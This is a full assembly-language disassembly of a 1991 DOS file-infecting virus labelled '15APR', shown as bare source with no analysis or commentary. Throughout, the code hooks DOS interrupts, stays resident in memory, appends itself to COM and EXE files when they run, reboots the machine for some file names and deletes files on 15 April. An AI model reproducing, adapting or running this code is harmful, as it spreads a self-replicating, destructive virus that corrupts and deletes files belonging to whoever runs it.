PAGE  60,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        15APR				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   4-Mar-91					         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
data_1e		equ	4Ch				; (0000:004C=31h)
data_2e		equ	4Eh				; (0000:004E=70h)
data_3e		equ	84h				; (0000:0084=0E3h)
data_4e		equ	86h				; (0000:0086=161Ah)
data_5e		equ	90h				; (0000:0090=8Eh)
data_6e		equ	92h				; (0000:0092=1498h)
data_7e		equ	102h				; (0000:0102=0CC00h)
data_8e		equ	106h				; (0000:0106=326h)
data_9e		equ	47Bh				; (0000:047B=0)
data_10e	equ	0				; (0326:0000=6A7h)
data_11e	equ	2				; (0326:0002=70h)
data_12e	equ	0				; (0691:0000=0C9h)
data_13e	equ	1				; (0692:0001=0D217h)
data_14e	equ	2				; (06E3:0002=2342h)
data_15e	equ	6				; (06E3:0006=2344h)
data_32e	equ	0FC99h				; (701E:FC99=0)
data_33e	equ	0FC9Bh				; (701E:FC9B=0)
data_34e	equ	0FCB7h				; (701E:FCB7=0)
data_35e	equ	0FCB9h				; (701E:FCB9=0)
data_36e	equ	0FCBBh				; (701E:FCBB=0)
data_37e	equ	0FCC5h				; (701E:FCC5=0)
data_38e	equ	0FCC7h				; (701E:FCC7=0)
data_39e	equ	0FCCDh				; (701E:FCCD=0)
data_40e	equ	0FCCFh				; (701E:FCCF=0)
  
code_seg_a	segment
		assume	cs:code_seg_a, ds:code_seg_a
  
  
		org	100h
  
b15apr          proc    far
  
start:
data_16		dw	63E9h
data_17		dw	0C303h
		db	23 dup (0C3h)
		db	2Ah, 2Eh, 45h, 58h, 45h, 0
data_19		dw	0C3C3h
data_20		dw	0C3C3h
data_21		dw	0
data_22		dw	0
data_23		dw	0
data_24		dw	0
data_25		dw	0
data_26		dd	00000h
data_27		dw	0
data_28		dw	0
data_29		dd	00000h
data_30		dw	0
data_31		dw	0
		db	0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
		db	'ta Swami Prabhupada (1896-1977)', 0Ah
		db	0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U'
		db	8Bh, 0ECh, 83h, 66h, 6, 0FEh
		db	5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
		db	12h, 3Dh, 0, 3Dh, 74h, 0Dh
		db	3Dh, 0, 6Ch, 75h, 5, 80h
		db	0FBh, 0, 74h, 3
loc_1:
		jmp	loc_15
loc_2:
		push	es
		push	ds
		push	di
		push	si
		push	bp
		push	dx
		push	cx
		push	bx
		push	ax
		call	sub_6
		call	sub_7
		cmp	ax,6C00h
		jne	loc_3				; Jump if not equal
		mov	dx,si
loc_3:
		mov	cx,80h
		mov	si,dx
  
locloop_4:
		inc	si
		mov	al,[si]
		or	al,al				; Zero ?
		loopnz	locloop_4			; Loop if zf=0, cx>0
  
		sub	si,2
		cmp	word ptr [si],4D4Fh
		je	loc_7				; Jump if equal
		cmp	word ptr [si],4558h
		je	loc_6				; Jump if equal
loc_5:
		jmp	short loc_14
		db	90h
loc_6:
		cmp	word ptr [si-4],4E41h
		je	loc_8				; Jump if equal
		cmp	word ptr [si-4],444Ch
		je	loc_8				; Jump if equal
		cmp	word ptr [si-4],4A52h
		je	loc_8				; Jump if equal
		jnz	loc_9				; Jump if not zero
loc_7:
		cmp	word ptr [si-4],444Eh
		je	loc_5				; Jump if equal
		jnz	loc_10				; Jump if not zero
loc_8:
		int	19h				; Bootstrap loader
loc_9:
		jz	loc_10				; Jump if zero
loc_10:
		mov	ax,3D02h
		call	sub_5
		jc	loc_14				; Jump if carry Set
		mov	bx,ax
		mov	ax,5700h
		call	sub_5
		mov	cs:data_22,cx			; (701E:0127=0)
		mov	cs:data_23,dx			; (701E:0129=0)
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		push	cs
		pop	ds
		mov	dx,103h
		mov	si,dx
		mov	cx,18h
		mov	ah,3Fh				; '?'
		call	sub_5
		jc	loc_12				; Jump if carry Set
		cmp	word ptr [si],5A4Dh
		jne	loc_11				; Jump if not equal
		call	sub_1
		jmp	short loc_12
loc_11:
		call	sub_4
loc_12:
		jc	loc_13				; Jump if carry Set
		mov	ax,5701h
		mov	cx,cs:data_22			; (701E:0127=0)
		mov	dx,cs:data_23			; (701E:0129=0)
		call	sub_5
loc_13:
		mov	ah,3Eh				; '>'
		call	sub_5
loc_14:
		call	sub_7
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	bp
		pop	si
		pop	di
		pop	ds
		pop	es
loc_15:
		jmp	cs:data_26			; (701E:012F=0)
  
b15apr          endp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_1		proc	near
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	dh,4
		je	loc_16				; Jump if equal
		jnz	loc_17				; Jump if not zero
loc_16:
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	dl,0Fh
		je	loc_18				; Jump if equal
		jnz	loc_17				; Jump if not zero
loc_17:
		mov	cx,[si+16h]
		add	cx,[si+8]
		mov	ax,10h
		mul	cx				; dx:ax = reg * ax
		add	ax,[si+14h]
		adc	dx,0
		push	dx
		push	ax
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	dx,0
		jne	loc_19				; Jump if not equal
		cmp	ax,4E2h
		jae	loc_19				; Jump if above or =
		pop	ax
		pop	dx
		stc					; Set carry flag
		ret
loc_18:
		mov	dx,10h
		mov	ah,1Ah
		int	21h				; DOS Services  ah=function 1Ah
							;  set DTA to ds:dx
		mov	dx,11Bh
		mov	cx,110Bh
		mov	ah,4Eh				; 'N'
		int	21h				; DOS Services  ah=function 4Eh
							;  find 1st filenam match @ds:dx
		mov	dx,2Eh
		mov	ax,3D02h
		int	15h				; General services, ah=func 3Dh
		mov	ah,41h				; 'A'
		int	21h				; DOS Services  ah=function 41h
							;  delete file, name @ ds:dx
		jmp	loc_25
		db	0BAh, 3Fh, 1, 0B4h, 9, 0CDh
		db	21h, 0EBh, 1, 90h
loc_19:
		mov	di,ax
		mov	bp,dx
		pop	cx
		sub	ax,cx
		pop	cx
		sbb	dx,cx
		cmp	word ptr [si+0Ch],0
		je	loc_ret_22			; Jump if equal
		cmp	dx,0
		jne	loc_20				; Jump if not equal
		cmp	ax,4E2h
		jne	loc_20				; Jump if not equal
		stc					; Set carry flag
		ret
loc_20:
		mov	dx,bp
		mov	ax,di
		push	dx
		push	ax
		add	ax,4E2h
		adc	dx,0
		mov	cx,200h
		div	cx				; ax,dx rem=dx:ax/reg
		les	di,dword ptr [si+2]		; Load 32 bit ptr
		mov	cs:data_24,di			; (701E:012B=0)
		mov	cs:data_25,es			; (701E:012D=0)
		mov	[si+2],dx
		cmp	dx,0
		je	loc_21				; Jump if equal
		inc	ax
loc_21:
		mov	[si+4],ax
		pop	ax
		pop	dx
		call	sub_2
		sub	ax,[si+8]
		les	di,dword ptr [si+14h]		; Load 32 bit ptr
		mov	data_19,di			; (701E:0121=0C3C3h)
		mov	data_20,es			; (701E:0123=0C3C3h)
		mov	[si+14h],dx
		mov	[si+16h],ax
		mov	word ptr data_21,ax		; (701E:0125=0)
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		call	sub_3
		jc	loc_ret_22			; Jump if carry Set
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		mov	ah,40h				; '@'
		mov	dx,si
		mov	cx,18h
		call	sub_5
  
loc_ret_22:
		ret
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_2:
		mov	cx,4
		mov	di,ax
		and	di,0Fh
  
locloop_23:
		shr	dx,1				; Shift w/zeros fill
		rcr	ax,1				; Rotate thru carry
		loop	locloop_23			; Loop if cx > 0
  
		mov	dx,di
		ret
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_3:
		mov	ah,40h				; '@'
		mov	cx,4E2h
		mov	dx,100h
		call	sub_6
		jmp	short loc_29
		db	90h
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_4:
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	al,6
		je	loc_24				; Jump if equal
		jnz	loc_25				; Jump if not zero
loc_24:
		mov	dx,10h
		mov	ah,1Ah
		int	21h				; DOS Services  ah=function 1Ah
							;  set DTA to ds:dx
		mov	dx,11Bh
		mov	cx,110Bh
		mov	ah,4Eh				; 'N'
		int	21h				; DOS Services  ah=function 4Eh
							;  find 1st filenam match @ds:dx
		mov	dx,2Eh
		mov	ax,3D02h
		int	15h				; General services, ah=func 3Dh
		mov	ah,41h				; 'A'
		int	21h				; DOS Services  ah=function 41h
							;  delete file, name @ ds:dx
		jmp	short loc_25
		db	90h
loc_25:
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	ax,4E2h
		jb	loc_ret_28			; Jump if below
		cmp	ax,0FA00h
		jae	loc_ret_28			; Jump if above or =
		push	ax
		cmp	byte ptr [si],0E9h
		jne	loc_26				; Jump if not equal
		sub	ax,4E5h
		cmp	ax,[si+1]
		jne	loc_26				; Jump if not equal
		pop	ax
		stc					; Set carry flag
		ret
loc_26:
		call	sub_3
		jnc	loc_27				; Jump if carry=0
		pop	ax
		ret
loc_27:
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		pop	ax
		sub	ax,3
		mov	dx,121h
		mov	si,dx
		mov	byte ptr cs:[si],0E9h
		mov	cs:[si+1],ax
		mov	ah,40h				; '@'
		mov	cx,3
		call	sub_5
  
loc_ret_28:
		ret
sub_1		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_5		proc	near
loc_29:
		pushf					; Push flags
		call	cs:data_26			; (701E:012F=0)
		ret
sub_5		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_6		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr ds:data_5e		; (0000:0090=18Eh) Load 32 bit ptr
		mov	cs:data_27,ax			; (701E:0133=0)
		mov	cs:data_28,es			; (701E:0135=0)
		mov	ax,44Eh
		mov	ds:data_5e,ax			; (0000:0090=18Eh)
		mov	ds:data_6e,cs			; (0000:0092=1498h)
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_30,ax			; (701E:013B=0)
		mov	cs:data_31,es			; (701E:013D=0)
		les	ax,cs:data_29			; (701E:0137=0) Load 32 bit ptr
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_6		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_7		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr cs:data_27		; (701E:0133=0) Load 32 bit ptr
		mov	ds:data_5e,ax			; (0000:0090=18Eh)
		mov	ds:data_6e,es			; (0000:0092=1498h)
		les	ax,dword ptr cs:data_30		; (701E:013B=0) Load 32 bit ptr
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_7		endp
  
		db	0B0h, 3, 0CFh
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_8		proc	near
		mov	dx,10h
		mul	dx				; dx:ax = reg * ax
		ret
sub_8		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_9		proc	near
		xor	ax,ax				; Zero register
		xor	bx,bx				; Zero register
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		xor	si,si				; Zero register
		xor	di,di				; Zero register
		xor	bp,bp				; Zero register
		ret
sub_9		endp
  
		db	1Eh, 0E8h, 0, 0
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_10		proc	near
		mov	ax,4B4Dh
		nop
		int	21h				; DOS Services  ah=function 4Bh
							;  run progm @ds:dx, parm @es:bx
		jc	loc_30				; Jump if carry Set
		jmp	loc_40
loc_30:
		pop	si
		push	si
		nop
		mov	di,si
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_39e[si],ax		; (701E:FCCD=0)
		mov	cs:data_40e[si],es		; (701E:FCCF=0)
		les	bx,dword ptr ds:data_3e		; (0000:0084=6E3h) Load 32 bit ptr
		mov	cs:data_37e[di],bx		; (701E:FCC5=0)
		mov	cs:data_38e[di],es		; (701E:FCC7=0)
		mov	ax,ds:data_7e			; (0000:0102=0CC00h)
		cmp	ax,0F000h
		jne	loc_38				; Jump if not equal
		mov	dl,80h
		mov	ax,ds:data_8e			; (0000:0106=326h)
		cmp	ax,0F000h
		je	loc_31				; Jump if equal
		cmp	ah,0C8h
		jb	loc_38				; Jump if below
		cmp	ah,0F4h
		jae	loc_38				; Jump if above or =
		test	al,7Fh
		jnz	loc_38				; Jump if not zero
		mov	ds,ax
		cmp	word ptr ds:data_10e,0AA55h	; (0326:0000=6A7h)
		jne	loc_38				; Jump if not equal
		mov	dl,ds:data_11e			; (0326:0002=70h)
loc_31:
		mov	ds,ax
		xor	dh,dh				; Zero register
		mov	cl,9
		shl	dx,cl				; Shift w/zeros fill
		mov	cx,dx
		xor	si,si				; Zero register
  
locloop_32:
		lodsw					; String [si] to ax
		cmp	ax,0FA80h
		jne	loc_33				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7380h
		je	loc_34				; Jump if equal
		jnz	loc_35				; Jump if not zero
loc_33:
		cmp	ax,0C2F6h
		jne	loc_36				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7580h
		jne	loc_35				; Jump if not equal
loc_34:
		inc	si
		lodsw					; String [si] to ax
		cmp	ax,40CDh
		je	loc_37				; Jump if equal
		sub	si,3
loc_35:
		dec	si
		dec	si
loc_36:
		dec	si
		loop	locloop_32			; Loop if cx > 0
  
		jmp	short loc_38
loc_37:
		sub	si,7
		mov	cs:data_39e[di],si		; (701E:FCCD=0)
		mov	cs:data_40e[di],ds		; (701E:FCCF=0)
loc_38:
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		mov	es,bx
		mov	ah,49h				; 'I'
		int	21h				; DOS Services  ah=function 49h
							;  release memory block, es=seg
		mov	bx,0FFFFh
		mov	ah,48h				; 'H'
		int	21h				; DOS Services  ah=function 48h
							;  allocate memory, bx=bytes/16
		sub	bx,50h
		nop
		jc	loc_40				; Jump if carry Set
		mov	cx,es
		stc					; Set carry flag
		adc	cx,bx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	bx,4Fh
		stc					; Set carry flag
		sbb	es:data_14e,bx			; (06E3:0002=2342h)
		push	es
		mov	es,cx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	ax,es
		dec	ax
		mov	ds,ax
		mov	word ptr ds:data_13e,8		; (0692:0001=0D217h)
		call	sub_8
		mov	bx,ax
		mov	cx,dx
		pop	ds
		mov	ax,ds
		call	sub_8
		add	ax,ds:data_15e			; (06E3:0006=2344h)
		adc	dx,0
		sub	ax,bx
		sbb	dx,cx
		jc	loc_39				; Jump if carry Set
		sub	ds:data_15e,ax			; (06E3:0006=2344h)
loc_39:
		mov	si,di
		xor	di,di				; Zero register
		push	cs
		pop	ds
		sub	si,36Ah
		mov	cx,4E2h
		inc	cx
		rep	movsb				; Rep while cx>0 Mov [si] to es:[di]
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		dec	bx
		mov	ds,bx
		mov	byte ptr ds:data_12e,5Ah	; (0691:0000=0C9h) 'Z'
		mov	dx,173h
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		mov	ax,es
		sub	ax,10h
		mov	es,ax
		cli					; Disable interrupts
		mov	ds:data_3e,dx			; (0000:0084=6E3h)
		mov	ds:data_4e,es			; (0000:0086=161Ah)
		sti					; Enable interrupts
		dec	byte ptr ds:data_9e		; (0000:047B=0)
loc_40:
		pop	si
		cmp	word ptr cs:data_32e[si],5A4Dh	; (701E:FC99=0)
		jne	loc_41				; Jump if not equal
		pop	ds
		mov	ax,cs:data_36e[si]		; (701E:FCBB=0)
		mov	bx,cs:data_35e[si]		; (701E:FCB9=0)
		push	cs
		pop	cx
		sub	cx,ax
		add	cx,bx
		push	cx
		push	word ptr cs:data_34e[si]	; (701E:FCB7=0)
		push	ds
		pop	es
		call	sub_9
		ret					; Return far
loc_41:
		pop	ax
		mov	ax,cs:data_32e[si]		; (701E:FC99=0)
		mov	cs:data_16,ax			; (701E:0100=63E9h)
		mov	ax,cs:data_33e[si]		; (701E:FC9B=0)
		mov	cs:data_17,ax			; (701E:0102=0C303h)
		mov	ax,100h
		push	ax
		push	cs
		pop	ds
		push	ds
		pop	es
		call	sub_9
		ret
sub_10		endp
  
  
code_seg_a	ends
  
  
  
		end	start